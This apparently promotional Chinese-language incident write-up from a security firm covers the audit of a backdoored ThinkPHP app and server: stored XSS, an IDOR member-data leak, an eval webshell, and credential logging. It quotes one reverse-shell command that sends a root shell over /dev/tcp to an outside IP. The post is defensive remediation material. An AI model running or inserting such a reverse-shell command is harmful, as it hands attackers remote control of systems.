相信有很多站长以及运营网站或APP的技术人员都有一些安全上的困扰,尤其是对网站代码里存在后门文件,以及服务器被植入木马病毒的安全问题很闹心,前段时间我们SINE安全接到客户的安全咨询,说是找的第三方开发公司做的APP和后台,运营了起来差不多3个月,一开始注册的会员量不是很多,当注册达到成千上万个会员注册量的时候,就相继出现了安全上的问题,数据库总是被篡改,会员信息泄露,以及被阿里云提示的云安全中心,安全事件提醒,尊敬的*玉:云盾云安全中心检测到您的服务器:47.180.*.*(主服务器)出现了紧急安全事件:自启动后门,建议您立即进行处理。进程异常行为-反弹Shell和异常网络连接-反弹shell网络外连以及恶意脚本代码执行还有Linux可疑命令序列恶意软件-后门程序等告警,针对这些安全问题,SINE安全老于来给大家科普一下,如何去除网站后门木马以及代码漏洞检测等问题。
攻击情况介绍:
当天我们SINESAFE收到客户的电话咨询,客户的平台、APP和H5端、以及后台遭到黑客入侵,并篡改了数据库里面的数据,导致平台的损失过万,详细询问了客户的平台架构以及部署的服务器数量,发现客户用的是Thinkphp架构开发,APP的API接口和H5端以及后台管理都是在该架构的基础上开发的,因为这套代码是客户从买来后找的第三方公司进行的二次开发,第三方开发公司对里面的代码后门并不清楚,很多低价卖源码的,肯定是有利益可图的。建议大家买来后一定要对网站源码进行代码安全审计和网站后门审计服务,尤其是对准备刚上线的APP平台,对安全问题要重视起来,否则到了后期会员规模上来后,损失的就不止这一点了。
跟客户进行了详细的对接,梳理了所有的服务器的信息以及网站源码的位置,我们的SINE安全工程师立即将代码打包到本地,进行源代码安全审计,通过对用户注册以及APP里的具体功能代码,都进行了全面的人工漏洞测试,发现在留言反馈以及会员信息功能,存在XSS跨站漏洞,这个漏洞可以将XSS攻击代码植入到后台里去,当后台的管理人员查看了反馈的留言或用户的个人详情,就会直接触发该XSS漏洞,XSS漏洞可以获取到网站后台的地址,以及管理员的Session和cookies,有了这2个值,黑客就可以登录后台了,对APP里的API接口也进行详细的安全审计,发现存在会员信息泄露漏洞,由于未对UID值进行当前账号权限判断,可以越权查看其它UID的会员信息,像手机号以及注册时间,银行卡,钱包地址,密码等等的信息,都可以越权查看,我们SINE安全工程师对代码中的一些函数功能代码进行审计,检测出了源码作者留的一句话木马后门,而且还是加密形式免杀webshell,代码如下:
真是道高一尺魔高一丈,源码作者留的后门,手段非常高,一般的建站公司技术是没办法看出这个文件是木马代码的,我们对其网站的访问日志以及APP的接口日志进行人工检查,还发现了后台登录这里被黑客动了手脚,只要管理员登录成功会立即把用户名和密码写到/data/目录下的robots.txt文件中,建议大家日后做检查代码的时候先搜索下_encode关键词看看有没有可疑的,以及搜索关键词eval函数的都有哪些再调用,因为很多一句话木马都是调用的eval函数,通过对每个代码的安全审计发现上传功能的代码中存在上传后门具体代码如下:
后门真是太多了,防不胜防,辛亏客户找到了我们SINE安全对网站代码进行了详细的安全审计和漏洞测试,我们对网站的上传的目录进行了脚本执行权限控制,对eval的后门进行了强制删除,以及对管理后台登录这里的后门进行了修复,对一些XSS跨站攻击的代码进行了攻击防护,对所有get post变量提交的参数进行了安全过滤,凡是包含xss跨站代码的,以及非法植入攻击代码的都进行了拦截过滤,并对整套代码进行了安全加固与防护,也同时对服务器进行了端口安全策略部署和基础安全设置,如注册表权限,环境运行账户权限,mysql数据库的权限分离设置,以及nginx的运行账户进行了设置,防止通过网站后门木马进行提权拿到服务器权限,如果想要对网站代码进行后门查找和清除和漏洞人工测试服务的可以向网站漏洞修复服务商SINE安全或鹰盾安全以及启明星辰,大树安全等这些服务商寻求技术支持。针对阿里云的云安全中心安全事件提醒,我们让客户提供了阿里云账号和密码,登录后,对该安全事件的详情进行了查看,发现确实是黑客植入了自启动的后门,我们对Linux系统的自启动服务进行了查看,发现黑客植入的木马病毒,每次重启服务器都会自动启动该服务,向外发送连接请求,Command: bash -i >& / dev/tcp/1.15.235.160/25670>&1 该命令是直接反弹了Linux root SHELL到1.15.235.160黑客的服务器。我们对该IP进行了阿里云安全组IP限制,以及对系统里的自启动服务进行了删除与防篡改部署,至此客户的APP被黑客攻击以及篡改数据的问题得到了彻底的解决。也希望我们的解决过程分享,能帮到更多的人。